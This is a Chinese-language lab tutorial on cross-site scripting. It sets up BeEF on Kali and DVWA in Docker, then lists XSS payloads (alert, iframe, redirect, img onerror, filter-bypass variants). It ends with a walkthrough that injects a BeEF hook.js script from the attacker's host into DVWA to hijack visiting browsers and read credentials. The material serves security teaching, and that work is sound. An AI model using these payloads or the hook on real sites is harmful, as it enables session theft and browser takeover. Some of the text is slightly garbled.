目录
一、环境配置
kali安装beef
contos7安装dvwa
二、XSS攻击简介
三、XSS攻击的危害
四、xSS攻击的分类
五、XSS产生的原因
六、构造XSS攻击脚本
(一)基础知识
常用的html标签
常用的js脚本
(二)构造脚本的方式弹窗警告
七、自动XSS攻击
(一)BeEF简介
(二)BeEF功能
(三)利用BeEF自动XSS攻击
一、环境配置
kali安装beef
1更新系统软件包列表:apt update
2.安装BeEF的依赖软件包。 apt install beef-xss
3.启动BeEF服务。beef-xss
4.在浏览器中输入以下网址以访问BeEF控制台。http://localhost:3000/ui/panel
contos7安装dvwa
1.更新系统软件包。yum update
2.安装Docker的依赖项。 yum install -y yum-utils device-mapper-persistent-data lvm2
3.添加Docker的软件源。
yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
4.安装Docker。yum install docker-ce
5.启动Docker服务并设置开机自启。
systemctl start docker systemctl enable docker
6.下载DVWA的Docker镜像。docker pull citizenstig/dvwa
7.创建DVWA的Docker容器。
[root@lucky ~]# docker run --name dvwa4 -d -p 8088:80 -p 3306:3306 citizenstig/dvwa
二、XSS攻击简介
(—) oWASP TOP 10之—,XSS被称为跨站脚本攻击(Cross-site-scripting)
(二)主要基于java script (JS)完成恶意攻击行为。JS可以非常灵活的操作html、css和浏览器,这使得XSS攻击的“想象"空间特别大。
(三)XSS通过将精心构造代码(JS)代码注入到网页中,并由浏览器解释运行这段JS代码,以达到恶意攻击的效果。当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。
(四)微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS代码,都存在遭受XSS的风险,只要没有对用户的输入进行严格过滤,就会被XSS。
三、XSS攻击的危害
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号 2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力 3、盗窃企业重要的具有商业价值的资料4、非法转账 5、强制发送电子邮件 6、网站挂马 让更多人的受害 7、控制受害者机器向其它网站发起攻击
四、xSS攻击的分类
反射型 非持久性跨站点脚本攻击 攻击是一次性的,仅对当次的页面访问产生影响
存储型 持久型跨站点脚本 攻击者的数据存储在服务器端,攻击行为将伴随看攻屯数据一直存在
DOM型 既可能是反射型的,也有可能是存储型的 基于文档对象模型(Document Objeet Model,DOM)的一种漏洞
存储型xss攻击流程
五、XSS产生的原因
Web应用对用户输入过滤不严谨
攻击者写入恶意的脚本代码到网页中
用户访问了含有恶意代码的网页
恶意脚本就会被浏览器解析执行并导致用户被攻击
六、构造XSS攻击脚本
(一)基础知识
常用的html标签
<iframe>iframe标签会创建包含另外一个文档的内联框架
<textarea> textarea标签定义多行的文本输入控件<img>img标签向网页中嵌入一幅图像
<script> script标签用于定义客户端脚本,比如Javascript
script标签既可以包含脚本语句,也可以通过src属性指向外部脚本文件必需的type属性规定脚本的类型。
avascript的常见应用是图像操作、表单验证以及动态内容更新
常用的js脚本
alert :alert方法用于显示带有一条指定消息和一个确认按钮的警告框
window,location:window.locatign对象用于获得当前页面的地址(URL),并把浏览器重定向到新的页面 location.href:返回当前显示的文档的完整URL
onload:一张页面或一幅图像完成加载
onsubmit:一个按钮被点击
onerror:在加载文档或图像时发生错误
(二)构造脚本的方式弹窗警告
弹窗警告
<script>alert(1)</script>
页面嵌套
<iframe style="overflow:hidden;width:520px;height:400px;position:fixed;left:500px;top:400px;border:none;margin:Opx;padding:0px;"src="http://192.168.198.130:8088/"></iframe>
页面重定向
<script> window.location= "https://www.baidu.com/" </script>
</script><script>location.href= "https://www.baidu.com/"</script>
弹窗警告并重定向
<script>alert("请移步到我们的新站");location.href="https://www.baidu.com/"</script>
图片标签利用
图像标签,有一定的隐蔽性
<img src=“#” onerror= alert('欢迎来钓鱼')>
绕开过滤的脚本
大小写<ScrIpt>alert('xss')</SCRipt>
字符编码字符编码采用URL、Base64、HTML等编码<img src=x οnerrοr="javascript:alert('XSS')">
存储型xss基本演示
This is a<script>alert(1)</script>test comment
访问恶意代码(网站种马)
七、自动XSS攻击
(一)BeEF简介
Browser Exploitation Framework (BeEF)BeEF是目前强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行 渗透;BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单
官网:BeEF - The Browser Exploitation Framework Project
(二)BeEF功能
信息收集 | 持久化控制 | 社会工程 | 渗透攻击 |
网络发现 | 确认弹框 | 点击劫持 | 内网渗透 |
主机信息 | 小窗口 | 弹窗警告 | Metasploit |
Cookie获取 | 中间人 | 虚假页面 | CSRF攻击 |
会话劫持 | 钓鱼页面 | DDOS攻击 | |
键盘记录 | |||
插件信息 |
(三)利用BeEF自动XSS攻击
1、kali中启动BeEF
2、登录BeEF: http://192.168.198.133:3000/ui/panel 用户名beef 密码123456
3、在dvwa网站中植入xSS
DVWA植入XSS
DVWA清空缓存
<script src="http://192.168.198.133:3000/hook.js"></script>
修改maxlength=“500”
4、其他机器访问被攻击页面dvwa的页面
本机访问,变成肉机,上线
5、社工攻击范例
命令的颜色区别
绿色对目标主机生效并且不可见(不会被发现)
获得肉机的正在运行的页面
橙色对目标主机生效但可能可见(可能被发现)
灰色对目标主机未必生效(可验证下)
红色对目标主机不生效
可以看出dvwa的账号和密码